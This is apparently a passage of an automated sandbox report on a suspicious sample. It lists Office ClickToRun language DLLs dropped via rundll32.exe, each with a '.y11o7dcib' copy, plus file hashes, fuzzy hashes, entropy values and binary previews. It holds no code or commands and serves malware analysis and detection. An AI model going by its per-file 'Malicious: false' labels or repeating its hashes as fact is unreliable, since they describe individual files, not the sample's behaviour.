SHA-512:	A9BCA08F7BAE123FA3B409E8A4344D8CC0C1B964900234125639243E400758227E7302433865CBC96393EE36F717CE24BDE85EC13227A2E2308077DC0FE797ED
Malicious:	false
Preview:	..$[.K]..T=.9.I:.)..m..:B....E.B.F............."...6.0)~..L...........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich..............[..I].2.Y=..I..)..m.q@....E.B.F.............".*.6.0)n..............................>.....`A........................................@...4............ ..t................N..............8...[..[.K]..T==..I..)..m..zB....E.B.F............."...6.0)~...............rdata..............................@..@.rsrc...t.... ......................@..@........................................[..[.K]..T==..I..)..m..zB....E.B.F............."...6.0)~......................................................................................................................................[..[.K]..T==..I..)..m..zB....E.B.F............."...6.0)~......................................................................................................................................[..[.K]..T==..I..)..m..zB....E.B.F.....

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.de-de.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	60218
Entropy (8bit):	7.560241584031203
Encrypted:	false
SSDEEP:	768:C7vhEZOf4ll07GKS1d/lf5pR9RA4XgGCpHvexivvrFFWahjWyOdliuP2MRle:C7B4L07iv9BLtgG9xi7W+jWdfiueMRle
MD5:	EC06859FDF2F79E8971A9820CE666E20
SHA1:	547F67F2B0294E1E5F32A7B594B8CB6B53409B99
SHA-256:	7D77AB4DA4802B6D79A874ED06E0D094F75CA8EDB5479DCF31D3E53F7E9ADA8C
SHA-512:	A9BCA08F7BAE123FA3B409E8A4344D8CC0C1B964900234125639243E400758227E7302433865CBC96393EE36F717CE24BDE85EC13227A2E2308077DC0FE797ED
Malicious:	false
Preview:	..$[.K]..T=.9.I:.)..m..:B....E.B.F............."...6.0)~..L...........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich..............[..I].2.Y=..I..)..m.q@....E.B.F.............".*.6.0)n..............................>.....`A........................................@...4............ ..t................N..............8...[..[.K]..T==..I..)..m..zB....E.B.F............."...6.0)~...............rdata..............................@..@.rsrc...t.... ......................@..@........................................[..[.K]..T==..I..)..m..zB....E.B.F............."...6.0)~......................................................................................................................................[..[.K]..T==..I..)..m..zB....E.B.F............."...6.0)~......................................................................................................................................[..[.K]..T==..I..)..m..zB....E.B.F.....

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.el-gr.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	61242
Entropy (8bit):	7.568447026858279
Encrypted:	false
SSDEEP:	768:EaRmUNm1KhRagJY+WXL+e64J6qf4H2NAsf0pk5j7+aQhx5eU6vWN3dOuw8ax/J:UU0Knagm7+RkVN6pEjiGU6+gutax/J
MD5:	97764508225C49CF45B45DD2FEDA747A
SHA1:	76E8240C313278704C667340C57C6D7F98CBDE8A
SHA-256:	D8D96E1AB5E53DC2B807556D7F30A4CBC55F1B2A05EF10A2AEEAA244F0678C92
SHA-512:	A706D8EBC12CF32DB873312CEE32A78096B4A256F7D00C14F3B3EC55859EF78F59C833197C52C2AA3869888F7844A38100F2C229D66BEA61E1AE77126C7CF386
Malicious:	false
Preview:	:.8...x.......lS.2..8.<O.....].a..C..3..PC."....@4.,....S........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich............'.....z.[..}.B.l.2.I...wM.5...]....C..3..PS."...@4.<.. .S.........................M....`A........................................@...4............ ..................N..............8...wQ....x.....B.l.2..8.\|O.....].a..C..3..PC."....@4.,.. .S.........rdata..............................@..@.rsrc....... ......................@..@........................................wQ....x.....B.l.2..8.\|O.....].a..C..3..PC."....@4.,.. .S................................................................................................................................wQ....x.....B.l.2..8.\|O.....].a..C..3..PC."....@4.,.. .*S................................................................................................................................wQ....x.....B.l.2..8.\|O.....].a..C..3

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.el-gr.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	61242
Entropy (8bit):	7.568447026858279
Encrypted:	false
SSDEEP:	768:EaRmUNm1KhRagJY+WXL+e64J6qf4H2NAsf0pk5j7+aQhx5eU6vWN3dOuw8ax/J:UU0Knagm7+RkVN6pEjiGU6+gutax/J
MD5:	97764508225C49CF45B45DD2FEDA747A
SHA1:	76E8240C313278704C667340C57C6D7F98CBDE8A
SHA-256:	D8D96E1AB5E53DC2B807556D7F30A4CBC55F1B2A05EF10A2AEEAA244F0678C92
SHA-512:	A706D8EBC12CF32DB873312CEE32A78096B4A256F7D00C14F3B3EC55859EF78F59C833197C52C2AA3869888F7844A38100F2C229D66BEA61E1AE77126C7CF386
Malicious:	false
Preview:	:.8...x.......lS.2..8.<O.....].a..C..3..PC."....@4.,....S........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich............'.....z.[..}.B.l.2.I...wM.5...]....C..3..PS."...@4.<.. .S.........................M....`A........................................@...4............ ..................N..............8...wQ....x.....B.l.2..8.\|O.....].a..C..3..PC."....@4.,.. .S.........rdata..............................@..@.rsrc....... ......................@..@........................................wQ....x.....B.l.2..8.\|O.....].a..C..3..PC."....@4.,.. .S................................................................................................................................wQ....x.....B.l.2..8.\|O.....].a..C..3..PC."....@4.,.. .*S................................................................................................................................wQ....x.....B.l.2..8.\|O.....].a..C..3

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.en-gb.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	52026
Entropy (8bit):	7.644922616804514
Encrypted:	false
SSDEEP:	1536:0Sk08CkqIZvxcrLLDN+tkEUKAkNKKorZGxCA7:J0CkquKrrEkp2g5Gxf
MD5:	DAC1E2D25B107452E7EB7D9952F7E127
SHA1:	D45D5B512130C38C2A9FFF819EF0E3923F0D5BCE
SHA-256:	969140A15DBA7B8F9746F54279087ABCC32FBFE24AD6DB88FCDB89739F15B3D0
SHA-512:	ED1625599C11A8BA93D94C5C72F12D2AC5E8182B95C118AD795DBC95AE766102602B8B13803C11CE0EF76764862AD0D07959E35D1C4C27002D53DBD6A9B328F5
Malicious:	false
Preview:	?.#...w .....b....04.._H....@..`..........L.z.".I@5Z.c.C.K............!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich............"......w.[$}eyb.O..0.......,.@..`j.........L.z.".I.4Z.c.S.Kn............................S....`A........................................@...4............ ..0u...........\|...N..............8...r....w$...eyb.O..04.._.....@..`..........L.z.".I@5Z.c.C.Kn............rdata..............................@..@.rsrc...0u... ...v..................@..@........................................r....w$...eyb.O..04.._.....@..`..........L.z.".I@5Z.c.C.Kn...................................................................................................................................r....w$...eyb.O..04.._.....@..`..........L.z.".I@5Z.c.C.Kn...................................................................................................................................r....w$...eyb.O..04.._.....@..`.......

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.en-gb.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	52026
Entropy (8bit):	7.644922616804514
Encrypted:	false
SSDEEP:	1536:0Sk08CkqIZvxcrLLDN+tkEUKAkNKKorZGxCA7:J0CkquKrrEkp2g5Gxf
MD5:	DAC1E2D25B107452E7EB7D9952F7E127
SHA1:	D45D5B512130C38C2A9FFF819EF0E3923F0D5BCE
SHA-256:	969140A15DBA7B8F9746F54279087ABCC32FBFE24AD6DB88FCDB89739F15B3D0
SHA-512:	ED1625599C11A8BA93D94C5C72F12D2AC5E8182B95C118AD795DBC95AE766102602B8B13803C11CE0EF76764862AD0D07959E35D1C4C27002D53DBD6A9B328F5
Malicious:	false
Preview:	?.#...w .....b....04.._H....@..`..........L.z.".I@5Z.c.C.K............!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich............"......w.[$}eyb.O..0.......,.@..`j.........L.z.".I.4Z.c.S.Kn............................S....`A........................................@...4............ ..0u...........\|...N..............8...r....w$...eyb.O..04.._.....@..`..........L.z.".I@5Z.c.C.Kn............rdata..............................@..@.rsrc...0u... ...v..................@..@........................................r....w$...eyb.O..04.._.....@..`..........L.z.".I@5Z.c.C.Kn...................................................................................................................................r....w$...eyb.O..04.._.....@..`..........L.z.".I@5Z.c.C.Kn...................................................................................................................................r....w$...eyb.O..04.._.....@..`.......

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.en-us.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	51618
Entropy (8bit):	7.6286642127075615
Encrypted:	false
SSDEEP:	1536:SNKYF4l0YYqXP/jf1GiOvqP3Xqy8FJ6z//nKpgblS26C:SNrHYHHpVLeO4gAjC
MD5:	34F9BB7A2733E94D9F69664F48B70DB9
SHA1:	BB6B0008EFA80594F6B0425318651E13B1FE7B2B
SHA-256:	C79D5BC1CA42CD4D6A78353044F5781448549970CDC6B4474CFD026A7177FD6D
SHA-512:	3E6E44676BE7F631EF9E72F57CD272636A66E8A57DD3CE1C789CA93DD4CCD4B80DF7DF386F6959D8B1EA8ED336CE704A2714F59C58FD98F66661DD2C3A6CB1D4
Malicious:	false
Preview:	.7.6.f..k..O.....M.p[...Y. .k..A>.....SX..K..H.bZy..0.^R?...........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich.............(F.Q.d.^..j.z...M..[...[...k..AH.....SX..K..H.b.x..0.NR?............................p....`A........................................@...4............ ...s...........z..hN..............8....mF.5.f..k...z...M.p[...Y. .k..A>.....SX..K..H.bZy..0.^R?............rdata..............................@..@.rsrc....s... ...t..................@..@.........................................mF.5.f..k...z...M.p[...Y. .k..A>.....SX..K..H.bZy..0.^R?....................................................................................................................................mF.5.f..k...z...M.p[...Y. .k..A>.....SX..K..H.bZy..0.^R?....................................................................................................................................mF.5.f..k...z...M.p[...Y. .k..A>.....S

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.en-us.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	51618
Entropy (8bit):	7.6286642127075615
Encrypted:	false
SSDEEP:	1536:SNKYF4l0YYqXP/jf1GiOvqP3Xqy8FJ6z//nKpgblS26C:SNrHYHHpVLeO4gAjC
MD5:	34F9BB7A2733E94D9F69664F48B70DB9
SHA1:	BB6B0008EFA80594F6B0425318651E13B1FE7B2B
SHA-256:	C79D5BC1CA42CD4D6A78353044F5781448549970CDC6B4474CFD026A7177FD6D
SHA-512:	3E6E44676BE7F631EF9E72F57CD272636A66E8A57DD3CE1C789CA93DD4CCD4B80DF7DF386F6959D8B1EA8ED336CE704A2714F59C58FD98F66661DD2C3A6CB1D4
Malicious:	false
Preview:	.7.6.f..k..O.....M.p[...Y. .k..A>.....SX..K..H.bZy..0.^R?...........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich.............(F.Q.d.^..j.z...M..[...[...k..AH.....SX..K..H.b.x..0.NR?............................p....`A........................................@...4............ ...s...........z..hN..............8....mF.5.f..k...z...M.p[...Y. .k..A>.....SX..K..H.bZy..0.^R?............rdata..............................@..@.rsrc....s... ...t..................@..@.........................................mF.5.f..k...z...M.p[...Y. .k..A>.....SX..K..H.bZy..0.^R?....................................................................................................................................mF.5.f..k...z...M.p[...Y. .k..A>.....SX..K..H.bZy..0.^R?....................................................................................................................................mF.5.f..k...z...M.p[...Y. .k..A>.....S

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.es-es.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	55506
Entropy (8bit):	7.627307965401186
Encrypted:	false
SSDEEP:	1536:VBH+TOL9nvzJG3od3Q3yaOEMPiT4jh+OM5:VxCGpv1EomyYVW+Om
MD5:	94AC0BFCEECC735207023C13B9BC3BDB
SHA1:	2A1835FD0F1105FE667B0B66C3DA356224A9A415
SHA-256:	378A320392EEE724E951149B9271FF7C1F20D811FA597536B22E02C80298EB9C
SHA-512:	2B13780FF70016AE85F41D22FFE26BC81B6F127FE9C9407F7C676FA04632CBF6D81BAB1956A3F6BA059D4F54F7BA47F66952ED0D75223699E3CD22ADECD8480B
Malicious:	false
Preview:	...EY.......s.C.o.:..Z....U...1.....z....+...d...<.{.%};Oi.vTY........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich.............A...[.si...ts...o...z....U...1.....z....+...d.....{.%}+OiqtTY.............................`A........................................@...4............ ..t................M..............8.....A..EY......ts...o.:..Z....U...1.....z....+...d...<.{.%};OiqvTY.........rdata..............................@..@.rsrc...t.... ......................@..@..........................................A..EY......ts...o.:..Z....U...1.....z....+...d...<.{.%};OiqvTY..................................................................................................................................A..EY......ts...o.:..Z....U...1.....z....+...d...<.{.%};OiqvTY..................................................................................................................................A..EY......ts...o.:..Z....U...1.....z.

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.es-es.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	55506
Entropy (8bit):	7.627307965401186
Encrypted:	false
SSDEEP:	1536:VBH+TOL9nvzJG3od3Q3yaOEMPiT4jh+OM5:VxCGpv1EomyYVW+Om
MD5:	94AC0BFCEECC735207023C13B9BC3BDB
SHA1:	2A1835FD0F1105FE667B0B66C3DA356224A9A415
SHA-256:	378A320392EEE724E951149B9271FF7C1F20D811FA597536B22E02C80298EB9C
SHA-512:	2B13780FF70016AE85F41D22FFE26BC81B6F127FE9C9407F7C676FA04632CBF6D81BAB1956A3F6BA059D4F54F7BA47F66952ED0D75223699E3CD22ADECD8480B
Malicious:	false
Preview:	...EY.......s.C.o.:..Z....U...1.....z....+...d...<.{.%};Oi.vTY........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich.............A...[.si...ts...o...z....U...1.....z....+...d.....{.%}+OiqtTY.............................`A........................................@...4............ ..t................M..............8.....A..EY......ts...o.:..Z....U...1.....z....+...d...<.{.%};OiqvTY.........rdata..............................@..@.rsrc...t.... ......................@..@..........................................A..EY......ts...o.:..Z....U...1.....z....+...d...<.{.%};OiqvTY..................................................................................................................................A..EY......ts...o.:..Z....U...1.....z....+...d...<.{.%};OiqvTY..................................................................................................................................A..EY......ts...o.:..Z....U...1.....z.

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.es-mx.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	55498
Entropy (8bit):	7.6225592927208705
Encrypted:	false
SSDEEP:	1536:AJ4NezTo2MLLpvvyF9Jca1NuTpn9fhoHfpZBz:AiMFMXpnyzJ+p9YRrz
MD5:	48DA7332E7B615E73EA36651B5BD35E8
SHA1:	51101A19B78EC51F3BD0F8A4E3C981DC55068B84
SHA-256:	F92147CC59915F60EDE21F2D2D579E2ACAB8A13ACE46C87DC32AAD82391C128C
SHA-512:	F57E5AF2CE0346E6AA59E8523B6BA86B95D720D13F1FF54F91E93FE04E300A6AE8C2F64E99DC711F1EAACE155B5B668AEEE94A003EEBC604E7CBF4A20949AE94
Malicious:	false
Preview:	-)...4.D...~z..V&.'.pp.4i.....!p..h...e.aK.....o.'.g......N...........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich............06K..6..<i.....&.'3pR..k.....!p.h...e.aK.....o...g........................................`A........................................@...4............ ...................M..............8...`sK..4.@........&.'.pp.ti.....!p..h...e.aK.....o.'.g...................rdata..............................@..@.rsrc........ ......................@..@........................................`sK..4.@........&.'.pp.ti.....!p..h...e.aK.....o.'.g..........................................................................................................................................`sK..4.@........&.'.pp.ti.....!p..h...e.aK.....o.'.g..........................................................................................................................................`sK..4.@........&.'.pp.ti.....!p..h...e

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.es-mx.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	55498
Entropy (8bit):	7.6225592927208705
Encrypted:	false
SSDEEP:	1536:AJ4NezTo2MLLpvvyF9Jca1NuTpn9fhoHfpZBz:AiMFMXpnyzJ+p9YRrz
MD5:	48DA7332E7B615E73EA36651B5BD35E8
SHA1:	51101A19B78EC51F3BD0F8A4E3C981DC55068B84
SHA-256:	F92147CC59915F60EDE21F2D2D579E2ACAB8A13ACE46C87DC32AAD82391C128C
SHA-512:	F57E5AF2CE0346E6AA59E8523B6BA86B95D720D13F1FF54F91E93FE04E300A6AE8C2F64E99DC711F1EAACE155B5B668AEEE94A003EEBC604E7CBF4A20949AE94
Malicious:	false
Preview:	-)...4.D...~z..V&.'.pp.4i.....!p..h...e.aK.....o.'.g......N...........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich............06K..6..<i.....&.'3pR..k.....!p.h...e.aK.....o...g........................................`A........................................@...4............ ...................M..............8...`sK..4.@........&.'.pp.ti.....!p..h...e.aK.....o.'.g...................rdata..............................@..@.rsrc........ ......................@..@........................................`sK..4.@........&.'.pp.ti.....!p..h...e.aK.....o.'.g..........................................................................................................................................`sK..4.@........&.'.pp.ti.....!p..h...e.aK.....o.'.g..........................................................................................................................................`sK..4.@........&.'.pp.ti.....!p..h...e

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.et-ee.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	53162
Entropy (8bit):	7.692596085200061
Encrypted:	false
SSDEEP:	1536:TsFzJ/BmqIAUh6DtkzQyqJxarrEt9V0LuT:TelZnI7hokzQy019WLc
MD5:	5FD90ACA46C2271C4F41803A99AFA091
SHA1:	7CE7D30A23727D5CC1B32AB57951244D1C9B27A8
SHA-256:	E95A8C0A12AC85227CA886EE2CAA48A5F660EB5DE8E935DF01A669E0C223877C
SHA-512:	84188E2B1F99292EE36915782B887B5520D94FF392E20A4588AD37D08450A6673C81ED64ED356E28E1F13CC1EFF447B2D0F21E291DC59B8819CE8D4E10B0624C
Malicious:	false
Preview:	..Od...CCT.0;.dl...".}...m...S....n,MZ......%E...(.>VI.......X........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich...............d.<.C..ET. dld...._...c...S...n,MZ......%E...>VI....z..X..............................`A........................................@...4............ ..\|y..............pN..............8...SP.d...CGT.0. dld..".}...m...S....n,MZ......%E...(.>VI....z..X.........rdata..............................@..@.rsrc...\|y... ...z..................@..@........................................SP.d...CGT.0. dld..".}...m...S....n,MZ......%E...(.>VI....z..X................................................................................................................................SP.d...CGT.0. dld..".}...m...S....n,MZ......%E...(.>VI....z..X................................................................................................................................SP.d...CGT.0. dld..".}...m...S....n,MZ.

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.et-ee.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	53162
Entropy (8bit):	7.692596085200061
Encrypted:	false
SSDEEP:	1536:TsFzJ/BmqIAUh6DtkzQyqJxarrEt9V0LuT:TelZnI7hokzQy019WLc
MD5:	5FD90ACA46C2271C4F41803A99AFA091
SHA1:	7CE7D30A23727D5CC1B32AB57951244D1C9B27A8
SHA-256:	E95A8C0A12AC85227CA886EE2CAA48A5F660EB5DE8E935DF01A669E0C223877C
SHA-512:	84188E2B1F99292EE36915782B887B5520D94FF392E20A4588AD37D08450A6673C81ED64ED356E28E1F13CC1EFF447B2D0F21E291DC59B8819CE8D4E10B0624C
Malicious:	false
Preview:	..Od...CCT.0;.dl...".}...m...S....n,MZ......%E...(.>VI.......X........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich...............d.<.C..ET. dld...._...c...S...n,MZ......%E...>VI....z..X..............................`A........................................@...4............ ..\|y..............pN..............8...SP.d...CGT.0. dld..".}...m...S....n,MZ......%E...(.>VI....z..X.........rdata..............................@..@.rsrc...\|y... ...z..................@..@........................................SP.d...CGT.0. dld..".}...m...S....n,MZ......%E...(.>VI....z..X................................................................................................................................SP.d...CGT.0. dld..".}...m...S....n,MZ......%E...(.>VI....z..X................................................................................................................................SP.d...CGT.0. dld..".}...m...S....n,MZ.

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.fi-fi.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	52026
Entropy (8bit):	7.640875970388555
Encrypted:	false
SSDEEP:	1536:KvGupCQMw68vG+MfypRkoH+AC9OfGRwejIngguLTa:K+AMw/vmypRkW+JYGRJIvQG
MD5:	4778E585381C7FBEC5F2DC38C2CE5B83
SHA1:	514CA292805711B72352DC57E9B38A2B8A8BCC32
SHA-256:	68A333CC290C0299D36B94F471354B832FB752CD4CD8BF4101BE265E09B1E5CC
SHA-512:	480DF0CC9A077B614BEBCEC23E40E9518E4B5CE42436360E75597D4E4DBF9A0B70EB914E3C3B6E348FE661FD13171D4FE203E57D03885BDB19452A48FC1366E6
Malicious:	false
Preview:	W./.N.u....7....F..\tg...kx.)o...u.i}e\.D..G.-L..`b}9..b.-........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich............=HG/...u.\..s...>....!\|?e...kx.Qo...u.i}e\.T..G.M..`bm9..`.-.........................k....`A........................................@...4............ ...t...........\|...N..............8...m.G/.N.u....s...>...F..\4g...kx.)o...u.i}e\.D..G.-L..`b}9..b.-.........rdata..............................@..@.rsrc....t... ...v..................@..@........................................m.G/.N.u....s...>...F..\4g...kx.)o...u.i}e\.D..G.-L..`b}9..b.-................................................................................................................................m.G/.N.u....s...>...F..\4g...kx.)o...u.i}e\.D..G.-L..`b}9..b.-................................................................................................................................m.G/.N.u....s...>...F..\4g...kx.)o...u.

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.fi-fi.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	52026
Entropy (8bit):	7.640875970388555
Encrypted:	false
SSDEEP:	1536:KvGupCQMw68vG+MfypRkoH+AC9OfGRwejIngguLTa:K+AMw/vmypRkW+JYGRJIvQG
MD5:	4778E585381C7FBEC5F2DC38C2CE5B83
SHA1:	514CA292805711B72352DC57E9B38A2B8A8BCC32
SHA-256:	68A333CC290C0299D36B94F471354B832FB752CD4CD8BF4101BE265E09B1E5CC
SHA-512:	480DF0CC9A077B614BEBCEC23E40E9518E4B5CE42436360E75597D4E4DBF9A0B70EB914E3C3B6E348FE661FD13171D4FE203E57D03885BDB19452A48FC1366E6
Malicious:	false
Preview:	W./.N.u....7....F..\tg...kx.)o...u.i}e\.D..G.-L..`b}9..b.-........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich............=HG/...u.\..s...>....!\|?e...kx.Qo...u.i}e\.T..G.M..`bm9..`.-.........................k....`A........................................@...4............ ...t...........\|...N..............8...m.G/.N.u....s...>...F..\4g...kx.)o...u.i}e\.D..G.-L..`b}9..b.-.........rdata..............................@..@.rsrc....t... ...v..................@..@........................................m.G/.N.u....s...>...F..\4g...kx.)o...u.i}e\.D..G.-L..`b}9..b.-................................................................................................................................m.G/.N.u....s...>...F..\4g...kx.)o...u.i}e\.D..G.-L..`b}9..b.-................................................................................................................................m.G/.N.u....s...>...F..\4g...kx.)o...u.

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.fr-ca.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	60322
Entropy (8bit):	7.550135562827874
Encrypted:	false
SSDEEP:	1536:ytOKnB3IULXxh7u5DZ61pFWtU43Pw+WzD:ovLhh7KDve0NE
MD5:	3803418EC706A2744A6DFF812B91F146
SHA1:	8E5C1EA924B41E0EF254CD5F1EC8A6A568F4B36C
SHA-256:	E9EB8ADEFE5ED042ADCCD57EBD9F1324EFD06A5E3819A41838FC8228D407ED62
SHA-512:	4EB3D5ECA37B276579ED45CD035F9D618F0E01ED330519B6430471E43DAF99B3F4D3CAC794BBEA85B6BBEE3B27F40B880735EC5D5ED1E0EF84418DE7D481A8A9
Malicious:	false
Preview:	?.3...-..J.. .....fw.Q.m......Xj...q......J.9<...eEP?../7..........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich............"...tx/.B...R..\|..f..s.&.."...X...q......Z.9<.._dEP?...5..........................2.....`A........................................@...4............ ..................hN..............8...r.....-..J.R..\|..fw.Q.-......Xj...q......J.9<...eEP?...7...........rdata..............................@..@.rsrc........ ......................@..@........................................r.....-..J.R..\|..fw.Q.-......Xj...q......J.9<...eEP?...7..................................................................................................................................r.....-..J.R..\|..fw.Q.-......Xj...q......J.9<...eEP?...7..................................................................................................................................r.....-..J.R..\|..fw.Q.-......Xj...q..

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.fr-ca.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	60322
Entropy (8bit):	7.550135562827874
Encrypted:	false
SSDEEP:	1536:ytOKnB3IULXxh7u5DZ61pFWtU43Pw+WzD:ovLhh7KDve0NE
MD5:	3803418EC706A2744A6DFF812B91F146
SHA1:	8E5C1EA924B41E0EF254CD5F1EC8A6A568F4B36C
SHA-256:	E9EB8ADEFE5ED042ADCCD57EBD9F1324EFD06A5E3819A41838FC8228D407ED62
SHA-512:	4EB3D5ECA37B276579ED45CD035F9D618F0E01ED330519B6430471E43DAF99B3F4D3CAC794BBEA85B6BBEE3B27F40B880735EC5D5ED1E0EF84418DE7D481A8A9
Malicious:	false
Preview:	?.3...-..J.. .....fw.Q.m......Xj...q......J.9<...eEP?../7..........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich............"...tx/.B...R..\|..f..s.&.."...X...q......Z.9<.._dEP?...5..........................2.....`A........................................@...4............ ..................hN..............8...r.....-..J.R..\|..fw.Q.-......Xj...q......J.9<...eEP?...7...........rdata..............................@..@.rsrc........ ......................@..@........................................r.....-..J.R..\|..fw.Q.-......Xj...q......J.9<...eEP?...7..................................................................................................................................r.....-..J.R..\|..fw.Q.-......Xj...q......J.9<...eEP?...7..................................................................................................................................r.....-..J.R..\|..fw.Q.-......Xj...q..

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.fr-fr.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	60738
Entropy (8bit):	7.505020464160545
Encrypted:	false
SSDEEP:	1536:0PgQd7WwoyuKunyjhozvU7RigD/H0TJDs8U:yGwoyBuny+zvUVd0VD8
MD5:	ADE40E4172B4B01C041901BE84D4231A
SHA1:	0701D640A1ECF691D93CC8D77413189954708CC4
SHA-256:	0D9AF846A8AF194611639290CFA06DC04BED5EB800870D6011C47521B407C7FE
SHA-512:	891D5FEBA46A6F1FA1C51E6BA4F04B3BFE0F0C8CEDA5A6571521911B6049B92F55899F8309DC2A620FFB345360A937EFC27A5093780FAAC38154DD02CF910B9E
Malicious:	false
Preview:	...:<..a..1S.IF1.....wz.;.d.c^.o.J._nG..c.8<.i8.....?..6..........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich..............).>.B.^.\.S..F1.....<x...d.c..o.J._nG..c.8<..9.....?.!4...............................`A........................................@...4............ ..t................N..............8.....).:<..a..\.S..F1.....7z.;.d.c^.o.J._nG..c.8<.i8.....?.!6...........rdata..............................@..@.rsrc...t.... ......................@..@..........................................).:<..a..\.S..F1.....7z.;.d.c^.o.J._nG..c.8<.i8.....?.!6....................................................................................................................................).:<..a..\.S..F1.....7z.;.d.c^.o.J._nG..c.8<.i8.....?.!6....................................................................................................................................).:<..a..\.S..F1.....7z.;.d.c^.o.J._

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.fr-fr.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	60738
Entropy (8bit):	7.505020464160545
Encrypted:	false
SSDEEP:	1536:0PgQd7WwoyuKunyjhozvU7RigD/H0TJDs8U:yGwoyBuny+zvUVd0VD8
MD5:	ADE40E4172B4B01C041901BE84D4231A
SHA1:	0701D640A1ECF691D93CC8D77413189954708CC4
SHA-256:	0D9AF846A8AF194611639290CFA06DC04BED5EB800870D6011C47521B407C7FE
SHA-512:	891D5FEBA46A6F1FA1C51E6BA4F04B3BFE0F0C8CEDA5A6571521911B6049B92F55899F8309DC2A620FFB345360A937EFC27A5093780FAAC38154DD02CF910B9E
Malicious:	false
Preview:	...:<..a..1S.IF1.....wz.;.d.c^.o.J._nG..c.8<.i8.....?..6..........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich..............).>.B.^.\.S..F1.....<x...d.c..o.J._nG..c.8<..9.....?.!4...............................`A........................................@...4............ ..t................N..............8.....).:<..a..\.S..F1.....7z.;.d.c^.o.J._nG..c.8<.i8.....?.!6...........rdata..............................@..@.rsrc...t.... ......................@..@..........................................).:<..a..\.S..F1.....7z.;.d.c^.o.J._nG..c.8<.i8.....?.!6....................................................................................................................................).:<..a..\.S..F1.....7z.;.d.c^.o.J._nG..c.8<.i8.....?.!6....................................................................................................................................).:<..a..\.S..F1.....7z.;.d.c^.o.J._

